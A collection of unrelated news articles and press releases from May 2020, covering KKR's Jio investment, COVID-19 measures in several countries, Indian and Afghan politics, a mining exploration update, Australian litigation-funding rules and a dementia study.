This communication contains "forward-looking" statements as that term is defined in Section 27A of the Securities Act of 1933, as amended, Section 21E of the Securities Exchange Act of 1934, as amended. All statements, other than historical facts, including future financial and operating results and the Company's plans, objectives, expectations and intentions, legal, economic and regulatory conditions are forward-looking statements. Forward-looking statements are sometimes identified by words like "may," "will," "should," "potential," "intend," "expect," "endeavor," "seek," "anticipate," "estimate," "overestimate," "underestimate," "believe," "could," "project," "predict," "continue," "target" or other similar words or expressions. Forward-looking statements are based upon current plans, estimates and expectations that are subject to risks, uncertainties and assumptions. Should one or more of these risks or uncertainties materialize, or should underlying assumptions prove incorrect, actual results may vary materially from those indicated or anticipated by such forward-looking statements. The inclusion of such statements should not be regarded as a representation that such plans, estimates or expectations will be achieved. Important factors that could cause actual results to differ materially from such plans, estimates or expectations include, among others, (1) uncertainty surrounding the ongoing COVID-19 pandemic, including uncertainty regarding its extent, duration and impact, the resulting closure and length of closure of Twin Rivers' properties (all but one of which are currently closed); (2) the duration of time Twin River's facilities are required to be closed and the time it will take Twin River to re-open its facilities once it is permitted to do so and the restrictions that will be applicable to its facilities when they are re-opened; (3) the costs to comply with any mandated health requirements associated with the virus; (4) customer responses when Twin River's facilities are re-opened including the time it takes customers to return to the facilities and the frequency with which they visit Twin River's facilities; (5) the economic uncertainty and challenges in the economy resulting from the ongoing COVID-19 pandemic, including the resulting reduced levels of discretionary consumer spending; (6) challenges Twin River may face in bringing employees back to work once its facilities are re-opened; (7) unexpected costs, charges or expenses resulting from the recently completed acquisitions; (8) uncertainty of the expected financial performance of Twin River, including the failure to realize the anticipated benefits of its acquisitions; (9) Twin River's ability to implement its business strategy; (10) evolving legal, regulatory and tax regimes; (11) the effects of competition that exists in the gaming industry; (12) the actions taken to reduce costs and losses as a result of the COVID-19 pandemic, which could negatively impact guest loyalty and our ability to attract and retain employees; (13) risks associated with increased leverage from Twin River's proposed acquisitions; (14) the inability or unwillingness of the lenders under our revolving credit facility to fund requests that we may make to borrow amounts under the facility; (15) increased borrowing costs associated with higher levels of borrowing and (16) other risk factors as detailed under Part I. Item 1A. "Risk Factors" of the Company's Annual Report on Form 10-K for the fiscal year ended December 31, 2019 as filed with the Securities and Exchange Commission on March 13, 2020 and the Company's Quarterly Report on Form 10-Q for the fiscal quarter ended March 31, 2020 as filed with the Securities and Exchange Commission on May 14, 2020. The foregoing list of important factors is not exclusive.

Any forward-looking statements speak only as of the date of this communication. Twin River does not undertake any obligation to update any forward-looking statements, whether as a result of new information or development, future events or otherwise, except as required by law. Readers are cautioned not to place undue reliance on any of these forward-looking statements.

SOURCE Twin River Worldwide Holdings, Inc.

Related Links

https://www.hrhcbiloxi.com/


US based private equity and global investment firm KKR announced that it will invest Rs 11,367 crore in Jio Platforms for a 2.32 percent stake. This is the fifth investment in the Reliance Jio Platforms, and that too, in rapid succession, following those by Facebook, multinational private equity firm Silver Lake, Vista Equity Partners, and General Atlantic over the past few weeks. This also means that Reliance Jio has raised a combined Rs 78,562 crore from leading investors and tech companies.

Founded in 1976, KKR has a long history of building leading global enterprises and successfully investing in businesses in the technology sector, including BMC Software, ByteDance and GoJek through its private equity and technology growth funds. Since inception, the firm has invested over $30 billion in tech companies, and today the firms technology portfolio has more than 20 companies across the Technology, Media and Telecom sectors.

In addition, India has been a key strategic market for KKR with a history of investing in the country since 2006. The PE firm has invested in Indian companies such as Max Financial Services, Bharti Infratel, Ramky Enviro Engineers and Coffee Day Resorts.

In 2019, KKR bought a majority stake in education franchise EuroKids Group from Gaja Capital.KKR, headquartered in New York, was founded in 1976 by Jerome Kohlberg Jr, Henry Kravis and George Roberts. Kravis and Roberts are cousins who worked at Bear Stearns before starting KKR.KKR raised its first $1 billion institutional fund in 1984, and eventually went on to expand its presence across Europe, the Middle East and the Asia Pacific region.

I am delighted to welcome KKR, one of the worlds most respected financial investors, as a valued partner in our onward march to growing and transforming the Indian digital ecosystem for the benefit of all Indians. KKR shares our ambitious goal of building a premier Digital Society in India. KKR has a proven track record of being a valuable partner to industry-leading franchises and has been committed to India for many years. We are looking forward to leveraging KKRs global platform, industry knowledge and operational expertise to further grow Jio. said Mukesh Ambani, Chairman and Managing Director of Reliance Industries.

Reliance Jio said this investment by KKR further reinforces the recognition of the world-class digital platform that Jio has built, powered by leading technologies, such as Broadband connectivity, Smart Devices, Cloud and Edge Computing, Big Data Analytics, Artificial Intelligence, Internet of Things, Augmented and Mixed Reality and Blockchain. This investment will give Jio Platforms a solid foundation to build on, towards what Reliance Jio says is a Digital India vision for 1.3 billion people and businesses across the country, including small businesses, micro-businesses and farmers.

Few companies have the potential to transform a countrys digital ecosystem in the way that Jio Platforms is doing in India, and potentially worldwide. Jio Platforms is a true homegrown next-generation technology leader in India that is unmatched in its ability to deliver technology solutions and services to a country that is experiencing a digital revolution," said Henry Kravis, Co-Founder and Co-CEO of KKR. "We are investing behind Jio Platforms impressive momentum, world-class innovation and strong leadership team, and we view this landmark investment as a strong indicator of KKRs commitment to supporting leading technology companies in India and the Asia Pacific," he added.

Disclaimer: News18.com is part of Network18 Media & Investment Limited which is owned by Reliance Industries Limited that also owns Reliance Jio.
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Centre unabashedly usurping powers of states: Oppn parties

India

pti-PTI

New Delhi, May 22: Leaders of 22 opposition parties on Friday accused the Centre of unabashedly usurping powers of states and demanded restoration of Parliament functioning and oversight with immediate effect.

The opposition parties also demanded immediate reversal of all unilateral policy decisions, especially on the changes in labour laws, at a meeting convened by the Congress through video conferencing.

Those who attended the meeting discussed the situation arising out of the COVID-19 pandemic and put forth an 11-point charter of demands before the central government.

PM's economic package cruel joke on country: Sonia Gandhi at opposition meet

They also accused the Centre of having failed in discharging its responsibilities in a timely, effective and sensitive manner during the pandemic.

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The opposition parties, including the TMC, JD(S) and CPI(M), said the economy has collapsed and all sections of society face acute distress, with livelihoods being destroyed and lives lost.

"Sadly, we have to point out that the Union government has failed in discharging its responsibilities in a timely, effective and sensitive manner," a joint statement from the parties said.

It said grand announcements have been made but they do nothing meaningful to alleviate the sufferings of people and address the pressing concerns of farmers and farm labour, of migrant and other workers, of trade and commerce, and MSMEs.

"In fact, the Union government has unabashedly usurped powers vested in the states undermining the constitutionally guaranteed federal democracy," the statement said.

The like-minded opposition parties said they believe that this is neither the time for the government at the Centre to indulge in showmanship nor one-upmanship, but this is the time for a gigantic collective endeavour.

"This is what the people of India need, and this is what the people of India demand. It is important that the government of India reaches out and engages in a dialogue with all political parties in a systematic manner, listen seriously to the suggestions that we have to make, activate Parliamentary institutions like Standing Committees and be genuine in helping the states financially and otherwise," the parties said in the statement.

They also demanded from the Centre direct cash transfer of Rs 7,500 per month to families outside the Income Tax bracket for six months and said Rs 10,000 should be given to them immediately along with free ration.

22 opposition parties call upon Centre to declare Cyclone Amphan as national calamity

The parties also demanded that the Centre provide free transportation for all migrant workers to their native places and make immediate and reliable arrangements to repatriate all Indian students and other citizens stranded overseas,

Congress chief spokesperson Randeep Surjewala said at a press conference. He said that the opposition parties have also demanded that the Centre immediately provide a financial package for states, besides a clear and meaningful economic strategy focused on revival and poverty alleviation instead of propaganda.

"The 22 parties represent over 60 to 70 per cent of the country's population and hoped that the prime minister and the government would take a positive view of their demands," Surjewala said.

The parties in the statement said the Rs 20 lakh crore economic package and its contents mislead the people of India. "We demand that the government present a revised and comprehensive package that will be a true fiscal stimulus in order to stimulate demand in the economy," the statement said.

Release substantial funds to the state governments who are in the frontline of combating the pandemic, the parties demanded. They also asked the Centre to communicate in clear terms its exit strategy from the lockdown, if any.

The leaders of 22 opposition parties included West Bengal Chief Minister and TMC supremo Mamata Banerjee, Maharashtra Chief Minister and Shiv Sena chief Uddhav Thackeray, Jharkhand Chief Minister and JMM leader Hemant Soren, NCP supremo Sharad Pawar, DMK leader M K Stalin and JD(S) leader HD Deve Gowda, besides CPI-M's Sitaram Yechury and CPI's D Raja.

Congress leaders Rahul Gandhi,A K Antony, Ahmed Patel, Ghulam Nabi Azad, Adhir Ranjan Chowdhury and Mallikarjun Kharge were also present during the video conference. Leaders of some other regional parties such as Sharad Yadav (LJD), Omar Abdullah (NC), Tejashwi Yadav (RJD), Jitan Ram Manjhi (HAM), Upendra Kushwaha (RLSP), Jose K Mani (KC-M), Badruddin Ajmal (AIUDF), Jayant Chaudhary (RLD) and Raju Shetty (Swabhimani Paksha) also participated.
HALIFAX, NS / ACCESSWIRE / May 22, 2020 / Silver Tiger Metals Inc. (TSXV:SLVR) ("Silver Tiger" or the "Company") is pleased to announce that it will begin a safe, phased restart of exploration at its El Tigre property beginning June 1, 2020. This restart of exploration is following the Mexican Health Ministry's decree on May 13, 2020 that amends the March 30, 2020 decree to include mining as an essential service effective June 1, 2020.

Silver Tiger has closed its previously announced non-brokered private placement raising $675,000 through the issuance of 9,642,857 units at a price of $0.07 per unit. Each unit consisting of one (1) Common Share and one-half (1/2) warrant of the Company. Every two (2) one-half common share purchase warrants of the Company entitling the subscriber to acquire one (1) common share of the Company for $0.10 for a period of twenty-four (24) months from the closing date. The common shares issued pursuant to this private placement are subject to a 4 month hold period that expires on September 23, 2020. The proceeds from the private placement will be used for Silver Tiger's El Tigre Property in Sonora, Mexico and for general working capital purposes. The private placement remains subject to final acceptance by the TSX Venture Exchange (the "Exchange").

CEO, Glenn Jessome states, "Our focus will always be the health and safety of our employees, contractors, their families and the neighboring communities as we begin to explore again. I would like to thank all of our employees and contractors for the ongoing support during this unprecendented time. Our exploration team is ready to get back to work at El Tigre. The historic El Tigre mine produced over 200 million silver equivalent ounces at an average grade of over 2 kgs per ton from 1903 to 1938. It is this tenor of grade on our large land package which we look forward to exploiting. I urge all to view the 3D Presentation and Slide Deck of the El Tigre property at Silver Tiger's profile page on https://vrify.com or on the VRIFY app."

VRIFY is a platform being used by companies to communicate with investors using 360 virtual tours of remote mining assets, 3D models and interactive presentations. VRIFY can be accessed by website and with the VRIFY iOS and Android apps.

Access the Silver Tiger Metals Inc. Company Profile on VRIFY at: https://vrify.com

The VRIFY Slide Deck and 3D Presentation for Silver Tiger Metals Inc. can be viewed at: https://vrify.com/explore/decks/492 and on the Company's website at: www.silvertigermetals.com.

As previously announced on December 20, 2019, Silver Tiger has settled $392,121 of debt owed to geological service and drilling companies for exploration work conducted for the Company at its El Tigre Property by issuing 5,726,157 shares to SPM Mineria S.A. de C.V. and 809,209 shares to SPM Perforacion SA de R.L. de C.V. This shares for debt transaction was approved by the Exchange and is subject to their final acceptance.

Silver Tiger compensates its non-executive directors and consultants with stock options only, in lieu of any cash payment. The last grant of stock options and DSU's to officers, directors and consultants of the Company was in January, 2019. Silver Tiger has granted 1,450,000 DSU's at a deemed price of $0.17 and 3,275,000 stock options at a price of $0.17 each with a 10 year expiry period to certain directors, officers and consultants.

About Silver Tiger

Following the completion of the maiden El Tigre resource estimation (the full NI 43-101 technical report is posted to the Company's website at www.silvertigermetals.com and can also be accessed on SEDAR at www.sedar.com) the Company directed its exploration efforts at identifying other areas of silver-gold mineralization across the expansive property holdings (28,414 hectares). The Company's prospecting and mapping program identified in excess of 10 kilometers of favorable host stratigraphy (i.e. the El Tigre formation) with several areas of mineralization identified to the south, east and north-east of the old El Tigre Mine. The El Tigre formation is the rock package that hosts the historic El Tigre Mine, which operated from 1903 to 1938, and was reported to have produced a total of 353,000 ounces of gold and 67.4 million ounces of silver from 1.87 million tonnes averaging 7.54 g/t gold and 1,308 g/t silver (Steven D. Craig, B.A., M.Sc., P. Geo. 2012).

The Company's drilling completed after filing its' 43-101 compliant resource estimate intersected similar-style silver-gold mineralization in the El Tigre formation at the Protectora, Caleigh and Fundadora areas to the north of the old mine, as well as to the south, past Gold Hill. Drilling to the north of the old mine by the Company returned the following impressive silver-gold intercepts:

Hole ID Comment From To Length(1) Au Ag AgEq(2) (meters) (meters) (meters) (g/t) (g/t) (g/t) ET-17-144 88.25 91.40 3.15 10.1 1,990.9 2,748.4 including 88.25 89.10 0.85 37.2 7,338.9 10,128.9 and 188.65 190.15 1.50 0.024 1,107.3 1,109.1 ET-17-145 28.50 29.25 0.75 10.9 2,830.4 3,647.9 ET-17-148 90.10 90.60 0.50 9.83 2,247.1 2,984.35

Notes to Table:

True width has not been calculated for each individual intercept, but true width is generally estimated at 75-90% of drilled width. Metallurgical recoveries and net smelter returns are assumed to be 100%. Silver Equivalent ("AgEq75") ratio based on silver to gold price ratio of 75:1 Ag:Au.

These diamond drill holes were some of the last holes drilled by the Company with no follow up drilling in this area having been undertaken. The Company intends to recommence drilling these unmined Northern high-grade vein extensions.

For further information, please contact:

Glenn Jessome

President and CEO

(902) 492-0298

jessome@oceanusresources.ca

CAUTIONARY STATEMENT:

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SOURCE: Silver Tiger Metals Inc.

View source version on accesswire.com:https://www.accesswire.com/591112/Silver-Tiger-To-Restart-Safe-Exploration-at-El-Tigre-and-Closes-Private-Placement
Jammu:

Acknowledging that situation in Kashmir is serious, senior union minister Arun Jaitley asserted that there can be no compromise with those indulging in violence as he described stone-pelters as not satyagrahis but aggressors who target police and security forces.



He slammed Pakistan for the current unrest, saying it was attacking the integrity of India in a new way after failing to snatch Jammu and Kashmir by waging wars and fuelling trouble ever since partition in 1947 and vowed to defeat this design too.



As the unrest continues in Kashmir, Jaitley outlined the Modi governments priorities, asserting that there will be no compromise with those indulging in violence even as efforts will be made for the development of the state which was denied for the last 60 years.



Now, this time, a serious situation has emerged in which Pakistan, separatists and religious forces have joined hands and now with a new way, they are attacking the integrity of India, he said addressing a rally on the outskirts of Jammu city while talking in the context of ongoing 44-day unrest in Kashmir.



Referring to stone pelters, he said, they are not satyagrahis but aggressors. If a police post manned by 10 police personal is attacked by 2000 stone pelters, it is an attack, but some people do not realize it.



Describing the situation as a major challenge, he said, today in such a challenge, the need of the country is that we dont compromise the integrity and security of the nation.



He asked people of Jammu and Kashmir to stand with the country in the struggle against the separatists so that this new phase of Pakistani strategy of war is defeated this time as well.



Prime Minister Narendra Modi has three priorities for Jammu and Kashmir, said Jaitley, Minister of Finance.



Listing these priorities, he said, There will be no compromise on the security and integrity of the country and no compromise with the people who indulge in violence.



Secondly, as Jammu and Kashmir has faced violence and wars, it needs development which was denied for past 60 years by National Conference and Congress governments. Thirdly, Jammu, being the support base of BJP, needs to be added attention.



His outlining of the priorities assumes significance as the opposition has been accusing the Modi government of having no policy with regard to dealing with the unrest. The opposition parties have been pressing for a political solution and dialogue to address the unrest.

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.
By Olivia Rose

EVEN as the Government gradually loosens the TCIs lockdown restrictions, Premier Sharlene Cartwright Robinson reminded residents that it is not business as usual.





She was speaking on Wednesday (May 20) at the first live press conference at her office in Providenciales following two months of virtual press briefings.





The premier made it clear that although the TCI has made tremendous strides in flattening the curve, the virus has not been eradicated from the territory.





"During the first week of phased reopening, the Turks and Caicos saw a new suspected case three or four days in a row, she said.





"We are pleased that these cases were all negative and for the past days in the Turks and Caicos we have enjoyed zero active cases and until Monday past, zero suspected cases.





"Today the dashboard reveals zero active cases and three suspected cases, and while were excited about these numbers and while these numbers are low, we have not made a big deal about it because it is simply a fluid situation.





She stressed that the figures, which are subject to change, indicate that the territory has suppressed the virus and slowed its pace.





"While it ensures us that we have flattened the curve, I wish to remind us of truths that cannot be ignored and again to remind those of us who listen to Government strategy.





"The evoking of emergency powers and the introduction of strict measures including the imposition of the curfew was to flatten the curve.





"What does it mean to flatten the curve? It simply means to slow the rate of infection.





"Second and most important fact that ought to guide us all - we have not killed the virus but we have slowed the rate of infection.





She said that while some residents might be tempted to resume normal activities, thoughtless behaviour at this time could undo the territorys containment efforts.





"Im stressing that point because many of us are too relaxed and we seemed to have gone back to business as usual.





"We bought critical time as we flattened the curve for the rest of our strategy to be realised as we increase health capacity through the recruitment of additional medical staff and critical upgrades to the hospital, procure personal protective equipment and secure in-country testing services.





The premier reminded residents to adhere to social distancing measures and urged them to continue wearing masks in public as previously mandated.




Bulgaria lifted the ban on entry into its territory for citizens of the EU and Schengen countries, which was introduced in March amid the COVID-19 spread, Novinite reported.

According to it, "late in the evening on May 21, Bulgarias Minister of Health, Kiril Ananiev, issued an order allowing representatives of firms and companies registered in the EU and the Schengen area to enter Bulgaria without the requirement for 14-day quarantine as of tomorrow, May 22."

The first COVID-19 cases were recorded in Bulgaria on March 8. The country declared a state of emergency from March 13 to May 14.

According to the latest data, the number of COVID-19 patients has reached 2,372. Since the start of the pandemic, 125 people have died and 769 have recovered.

In the meantime, social distancing remains mandatory; people should wear protective masks in closed public areas and vehicles.
Taliban deputy leader and Haqqani network head Sirajuddin Haqqani has tested coronavirus COVID-19 positive and have been admitted to Pakistan military hospital in Rawalpindi, according to security agencies report on Friday. Sources have also confirmed that Haqqani recently met many Talibani commanders and its believed that virus has infected many Talibani leaders.

"Sirajuddin Haqqani, head of the Haqqani network and the deputy leader of the Taliban has contracted the coronavirus. He recently met with other Taliban commanders. According to the sources, Haqqanis test came positive on May 16 at the CMH hospital of the Pakistani military," tweeted Harun Najafizada, a senior editor, Farsi News channel IranintlTV.

The report came at the time when United States Department of Defence quarterly report to US Congress said that Pakistan continues to harbour the Taliban and associated terrorist groups in Pakistan, such as the Haqqani Network, which maintains the ability to conduct attacks against Afghanistan interests.

The report is the first one to be issued since the US and the Taliban signed an agreement on February 29 to facilitate the withdrawal of American troops from Afghanistan. It comes at a time when the US special envoy for Afghanistan reconciliation Zalmay Khalilzad has called on India to hold direct talks with the Taliban. Pakistan continues to focus on countering Indian influence in Afghanistan and harbours the Taliban and groups such as the Haqqani Network, which have the ability to engage in violence on Afghan soil, according to a new Pentagon report.

Haqqani network, with the active support of Pakistan agencies, is involved in the recent attack in Kabul. Afghanistan security agencies investing the twin blast in capital Kabul and the eastern province of Nangarhar on May 12, suspect the role of Haqqani network behind the fidayeen attack. Several gunmen disguised as policemen attacked a Kabul hospital killing 16 people including two newborn babies. Notably, a part of this hospital is run by an international humanitarian organisation Doctors Without Borders. Over 40 people were killed in two terror attacks in Afghanistan.

"Sirajuddin Haqqani and his senior commanders are running the commission responsible for overlooking the foreign fighters. Yahya Haqqani is overall liason for Haqqani with foreign fighters, said Rahmatullah Nabil, former director of National Directorate of Security (NDS), Afghanistan.

Afghanistan's former deputy minister of defence, Tamim Asey, said that anybody who knows the ABC of the Afghan security-intel landscape knows that only Haqqani had such operational capabilities to launch an attack in the highly guarded city of Kabul. The Q is not IF but HOW? ISKP has a long-standing relationship with Haqqani. Furthermore, anybody who knows the ABC of the Afghan security-intel landscape knows that only Haqqani had such operational capabilities in a highly guarded and heavily scrutinized city like Kabul, tweeted Tamim Asey.

The DIA also told the inspector general, Pakistan continues to harbour the Taliban and associated militant groups in Pakistan, such as the Haqqani Network, which maintains the ability to conduct attacks against Afghan interests."

Indian and Afghan officials have for long accused the Taliban, particularly its sword arm, the Haqqani Network, of having close links to the Pakistani military leadership. Most of the Taliban leadership and their families continue to be based in Pakistani cities such as Quetta. The report comes at a time when the US special envoy for Afghanistan reconciliation, Zalmay Khalilzad, has called on India to hold direct talks with the Taliban. However, the Trump administrations outgoing point-person for South Asia, Alice Wells, said on May 20 that it was up to India to take a call on engaging with the Taliban.

In his message in the report, Sean ODonnell, the acting inspector general of the US department of defence, said, The United States and Taliban agreed to a [one]-week reduction in violence prior to the signing of the agreement, but Taliban violence during the quarter overall was high. In January and February, both the United States and the Taliban increased operations in order to influence negotiations. In addition, while the Taliban reduced attacks against the US and coalition forces, it continued to attack the Afghan National Defense and Security Forces, particularly after the signing of the agreement.

Early in May, in a joint operation with Afghan police and National Directorate of Security (NDS), special forces apprehended Khorasani, who is Daesh leader for the south and east areas of Asia and an Afghanistan citizen, in the Kart-e-Naw area of Kabul city. The two other terrorists--the terror group's head of public relations and its intelligence head--were also apprehended.

The NDS in a statement after the raid said, "The group was comprised Daesh and Haqqani network members and led by Sanatullah, a Daesh commander, and was involved in the rocket attack on President Ghanis inauguration ceremony, the attack on the Sikh temple in Kabul.

India's Ministry of External Affairs (MEA) issued a statement to express strong condemnation of the terrorist attacks in Afghanistan. It said, "India strongly condemns the barbaric terrorist attacks against innocent civilians, including women and children, at the Dasht-e-Barchi hospital maternity ward, funeral in Nangarhar province and the Army check post in Laghman province on May 11-12. Such reprehensible attacks, including on mothers, newly born children, nurses, and mourning families are appalling and constitute crimes against humanity."

Counter-terror operatives from India and Afghanistan believe that Pakistan agencies could be behind the attack. "We are heading towards a dirty war where the master-puppeteers will only change names, flags and mode of operation of their puppets. This war will only get more savage and dirtier as we near peace. It will be carried out unmanned and without responsibility to please their masters," tweeted Asey.

Afghanistan National Security Advisor (NSA) Hamdullah Mohib said that the Afghanistan government and international partners have a responsibility to hold the Taliban and their sponsors accountable. Mohib tweeted, "The attacks of the last two months show us and the world that Taliban and their sponsors do not and did not intend to pursue peace. Their attacks this spring against Afghans are comparable to the level of fighting seasons. International partners have a responsibility to hold the Taliban and their sponsors accountable. The reason to pursue peace is to end this senseless violence. This is not peace, nor its beginnings."

There was no immediate claim of responsibility for either attack. Taliban has denied its involvement in both the attacks.

with agency inputs
Ukraine will insist that Russia refrain from such violations against Ukrainian warships in future.

Ukrainian Deputy Foreign Minister Yevhen Enin, who acts as the agent of Ukraine in cases against the Russian Federation in the UN International Court of Justice and the UNCLOS Arbitral tribunal, has said that Ukraine in the case against Russia will demand compensation for losses caused by the seizure of sailors and vessels in the Kerch Strait in November 2018.

Read alsoUkraine to send evidence of Russia's crimes in Kerch Strait to UNCLOS Arbitral tribunal  FM Kuleba

"Our goal is that the arbitration award clearly states that the Russian side has violated the requirements of international maritime law, that the Russian Federation should refrain from similar violations against Ukrainian warships in the future, and that Russia should pay appropriate compensation to the sailors, the Navy, and the state of Ukraine," he said during an online briefing on May 22, according to an UNIAN correspondent.

Enin noted that the memorial that Ukraine was submitting to the UNCLOS Arbitral tribunal on May 22 is Ukraine's legal position, in "which we clearly and thoroughly articulate exactly which norms the Russian side has violated. This is also a description of the facts in support of our legal position, testimonies of witnesses and experts."

The official says that in accordance with the procedures and requirements of the memorial and the Arbitral tribunal, the text of the document is confidential. "Therefore, I can't talk now about the specific amount of losses that we demand from the Russian Federation. Nevertheless, we can talk about the damage structure. Its first element is the damage caused to the Navy of the Armed Forces of Ukraine for repairs of the vessels, as well as for inability to use them for one year. The second element is the tangible and moral damage to our sailors, who were illegally held in a Russian prison for more than nine and a half months. In addition, this is the harm caused to the state of Ukraine as its rights have been violated," he added.
The commerce ministry on Friday said it has restored the procedure for issuance of physical copy of a key document required for export of shipments to Thailand and Vietnam under a free trade agreement.

Earlier in April, the ministry had allowed exporters to obtain the 'Certificate of Origin' document through online process, as concerned offices were closed on account of lockdown due to the COVID-19 pandemic.

The Directorate General of Foreign Trade (DGFT), under the ministry, said that various representations have been received from exporters, expressing difficulties in obtaining preferential access in Thailand and Vietnam based on digitally signed electronic certificates of origin.

"In view of above, the earlier procedure of issuing physical copy of Certificate of Origin (CoO) by the designated agencies for exports to Thailand to Vietnam under ASEAN-India FTA (free trade agreement) is being restored," it said in a trade notice.

Applications for certificate under ASEAN-India FTA for exports to Thailand and Vietnam should now be submitted manually by the exporters to the offices of the designated issuing agencies -- EIA (Export Inspection Agency), MPEDA (Marine Products Exports Development Authority) and Textile Committee, it said.

The e-platform will not accept CoO applications submitted for exports destined to Thailand and Vietnam, it said.

However, it shall continue to accept and process CoO applications for export to other countries under ASEAN-India FTA, it added.

"These agencies (EIA, MPEDA and Textile Committee) will henceforth issue the Certificate of Origin in physical paper format as was being done before...for Thailand and Vietnam, till further notice," DGFT said.

The Association of Southeast Asian Nations (ASEAN)-India trade in goods agreement was signed on August 13, 2009, and became effective from January 1, 2010.

Indonesia, Thailand, Singapore, Malaysia, Philippines, Vietnam, Cambodia, Brunei, Myanmar, and Laos are the member countries of Asean.

Under such trade agreements, two or more trading partners significantly reduce or eliminate import duties on maximum number of goods traded between them.

An exporter has to submit a CoO at the landing port of the importing country.

The document is important to claim duty concessions under free trade agreements. This certificate is essential to prove where the goods come from.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Two women here tested



positive for COVID 19 on Friday pushing the tally of the number of active cases up to 19, Health Minister Malladi Krishna Rao said.

One woman (43) had returned to Puducherry from Chennai and been admitted to the Indira Gandhi Government medical college hospital after she tested positive for the pandemic, the Minister told reporters.

The other woman (46) was now in quarantine in Chennai after she tested positive for the infection. Although she is in Chennai she is enlisted as a patient in the number of cases of Puducherry region.

With this the number of active cases in the union territory has risen to 15.

Rao said one woman patient, a returnee from Dubai, continued to be under treatment in the government general hospital in Karaikal while three patients of Mahe region were under treatment.

The Health Minister said there had been a rise in active cases since the last 10 days, particularly after the lockdown was relaxed on May 17.

He said there was a flow of people from neighbouring districts of Tamilnadu.

He said the Chennai airport had been requested to keep the Puducherry government informed of those arriving from foreign countries and intending to proceed to Puducherry.

"We can keep track of such foreign travellers and take steps to screen them and keep them in quarantines in case they showed symptoms of the COVID-19," he said.

Secretary to Health (Puducherry) Prashanth Kumar Panda, who was also present, expressed concern over the poor response from the people in Puducherry to download Arogiya Sethu app in their mobiles.

He said the shooting up of active cases in Puducherry since the recent past was a matter of serious concern and it appeared that all norms, including social distancing, were being compromised.

Director of Health and Family Welfare Services S Mohan Kumar said steps were taken to ensure absolute cleanliness in health institutions.

He said three of the five patients from Tamil Nadu who were admitted to JIPMER some weeks ago for treatment for COVID-19 were discharged on Thursday.

Thus, the Union Territory has 19 active cases and JIPMER has two patients from Tamil Nadu.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The Australian government is tightening regulatory scrutiny of wealthy litigation funders, clamping down on the industry following a surge in costly class action lawsuits.

Treasurer Josh Frydenberg said on Friday that litigation funders will be required to hold an Australian financial services provider license within three months, increasing transparency and accountability of the sector.

The class action industry in Australia had a later start than in the United States but has grown quickly since legal changes allowed for such lawsuits in 1992, helped by a favorable regulatory environment.

Frydenberg said removing the license exemption for litigation funders, which are currently categorized as a managed investment scheme, would ensure they operate transparently, are appropriately regulated and accountable.

Litigation funders provide financing for lawsuits in exchange for a share of any settlement or judgment. If the litigant loses, it does not have to repay the financial investor.

Companies such as Omni Bridgeway Ltd, formerly IMF Bentham, and Maurice Blackburn, have funded more than 300 class action suits in Australia, including against the countrys major banks.

About 49% of class actions filed in the Federal Court were funded by third-party litigation funders in the three years to September 2016, but that rose to 78% in 2018, the Sydney Morning Herald reported, citing government estimates.

The clampdown comes just a week after the government announced a parliamentary committee inquiry into the class action industry, which is due to report in December.

Launching the inquiry, Attorney General Christian Porter said in many cases, funders were taking up to 30% of legal settlements, leaving members of the action to fight over the scraps that remain after legal fees and other costs were paid.

(Reporting by Renju Jose; editing by Jane Wardell)

Related:

Topics Lawsuits Australia
Research completed in NUI Galway has shown that lowering blood pressure by taking blood pressure medications reduces the risk of developing dementia and cognitive impairment by 7%. The findings are published today in a leading international medical journal, the Journal of the American Medical Association (JAMA).

Fourteen randomised controlled trials (96,158 participants) were included in this systematic review and meta-analysis. Blood pressure lowering with antihypertensive medications reduced the risk of developing dementia or cognitive impairment by 7%, and cognitive decline also by 7% over a four-year period.

"When you consider how common dementia is in the population (50 million people worldwide), effective treatment and control of hypertension would have a major impact on preventing dementia. Our findings emphasize the need for more effective screening, prevention, and treatment of hypertension, which remains suboptimal in Ireland," explains Dr Conor Judge, joint first author and Wellcome Trust Health Research Board Irish Clinical Academic Training (ICAT) fellow.

Dr Judge continued: "We know from The Irish Longitudinal Study on Aging that two thirds of people aged over 50 in Ireland have hypertension (high blood pressure), of which half are unaware of the diagnosis, and one third are not on treatment. This is a major care gap."

This study aimed to gather all the evidence from previous trials of blood pressure lowering medications and estimate how much the risk of dementia can be reduced by taking blood pressure lowering medications in people who are diagnosed with high blood pressure. Blood pressure lowering reduces the risk of stroke and heart disease. Prevention of dementia can now be added to the benefits of treating hypertension. Importantly, there are no available therapies that directly prevent dementia, so this study highlights the critical importance of blood pressure in the risk of dementia.

Dr Michelle Canavan, Consultant Geriatrician at Galway University Hospital, and senior author of the paper, commented: "Prevention of dementia is a major health priority. We know from previous research that a major concern of older people is developing dementia. The message from this study is simple: Get your blood pressure checked. If it is high, it can be readily treated with lifestyle changes and medications. We would hope that our study will heighten awareness of the importance of controlling blood pressure to maintain "brain" health, combined with a healthy lifestyle."

The research was funded by Wellcome Trust, HRB, HSE and NUI Galway through the ICAT programme.
Dubai: Mosques will remain closed for prayers on the Eid Al-Fitr festival, Saudi and United Arab Emirates officials said on Friday, calling on the population to adhere to safety guidelines to avoid the spread of the novel coronavirus.

The Eid, which marks the end of the holy fasting month of Ramadan, may fall on Saturday or Sunday in the Gulf region.

Saudi Islamic Affairs Minister Abdullatif al-Sheikh gave instructions not to have Eid prayers in mosques, Saudi state TV quoted him as saying.

Muslims will hold the Eid prayer at home because of the pandemic, the Saudi Press Agency cited Sheikh Abdul Bari al-Thubaiti, the imam, or the prayer leader, of the Prophets Mosque in Medina, as saying in the Friday sermon.

During Ramadan, prayers without worshippers were held by the imams in the two holy mosques of Mecca and Medina, in the west of the kingdom.

In the UAE, the Dubai governments media office said on Twitter that mosques will remain closed, and listed a series of Eid customs that should not be observed, including family visits and giving gifts or money to children.
The statewide 60-day freeze on jury trials ends Tuesday, but only a few California counties are taking immediate steps to summon prospective jurors, while keeping them 6 feet apart in court.

Here in the Bay Area, Contra Costa County is acting promptly, despite some debate on procedure. The presiding judge says he would prefer to cut the jury size in half during the coronavirus pandemic, but couldnt get defense lawyers to go along.

By reducing felony juries from 12 to six members, you would halve the number of people who get exposed and the amount of time needed for jury selection, Superior Court Judge Barry Baskin said in an interview Friday. But without consent from lawyers whose clients have a right to be tried under current rules, he said, the court would need state legislation to make any changes.

